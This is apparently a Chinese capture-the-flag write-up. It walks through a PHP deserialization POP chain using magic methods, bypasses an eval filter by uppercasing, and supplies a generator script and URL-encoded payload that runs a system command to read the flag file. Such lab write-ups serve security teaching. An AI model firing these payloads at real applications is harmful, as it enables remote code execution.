一、访问网站
二、分析代码
头:$ser
触发__call:TianXiWei->__wakeup() $ext=new Ilovetxw
触发__set:Ilovetxw->$huang=new four
触发__tostring:four->$a=new Ilovetxw four->$fun="sixsixsix"
触发__invoke:Ilovetxw->$su=new NISA->__invoke()
尾:NISA->__invoke()->eval($this->txw4ever) $txw4ever="system('cat flag.php')"
strtolower()
将字符串中的所有大写字母转换为小写字母
__invoke()
当脚本尝试将对象调用为函数时触发
__set()
用于将不可访问或者未定义的属性赋值时触发
__call()
在对象上下文中调用不可访问或者不存在的方法时触发
__wakeup()
使用unserialize时触发
__tostring()
把对象当作字符串使用时触发
解题思路:
1.找到头和尾:
头是参数ser,尾是eval函数,可以利用这个txw4ever属性,来调用系统函数实现命令执行
2.调用eval函数:
需要触发__invoke
函数,__invoke
是对象被当做函数进行调用时就会触发,我们去找类似$a()
这种的
找到$bb()
,它对应的参数是su,且在类Ilovetxw里,此时$su=new NISA
3.调用$bb()
:
需要触发__tostring
函数,__tostring()
把对象当作字符串使用时触发
找到strtolower函数,该函数是将字符串转换成小写
strtolower函数的参数是$a
,让$a=new Ilovetxw
,$fun="sixsixsix"
4.调用strtolower函数:
需要触发__set
函数,__set()
用于将不可访问或者未定义的属性赋值时触发,需要查找赋值语句
因为four类的fun为私有属性,让$huang=new four
5.调用赋值语句:
需要触发__call
函数,__call()
在对象上下文中调用不可访问或者不存在的方法时触发
让$ext=new Ilovetxw
6.过滤绕过
hint函数会输出一些东西,需要绕过,只需要if不成立就行
checkcheck函数对eval的参数进行过滤,尝试使用大写绕过

public $txw4ever = 'System("cat /f*");';
三、生成payload
<?php
class NISA{
public $fun="666";
public $txw4ever = 'System("cat /f*");';
}
class TianXiWei{
public $ext; //5 Ilovetxw
public $x;
}
class Ilovetxw{
public $huang; //4 four
public $su; //2 NISA
}
class four{
public $a="TXW4EVER";
private $fun='sixsixsix';
}
$n = new NISA();
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
payload:
O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3Br%3A2%3Bs%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3Bs%3A3%3A%22666%22%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22SYSTEM%28%27cat+%2Ff%2A%27%29%3B%22%3B%7D%7Ds%3A1%3A%22x%22%3BN%3B%7D
四、获取flag
输入payload,成功获得flag
总结
-
构造POP链:找到头和尾,再通过尾找到头
-
魔术方法:
__invoke()
当脚本尝试将对象调用为函数时触发
__set()
用于将不可访问或者未定义的属性赋值时触发
__call()
在对象上下文中调用不可访问或者不存在的方法时触发
__wakeup()
使用unserialize时触发
__tostring()
把对象当作字符串使用时触发 -
strtolower()
将字符串中的所有大写字母转换为小写字母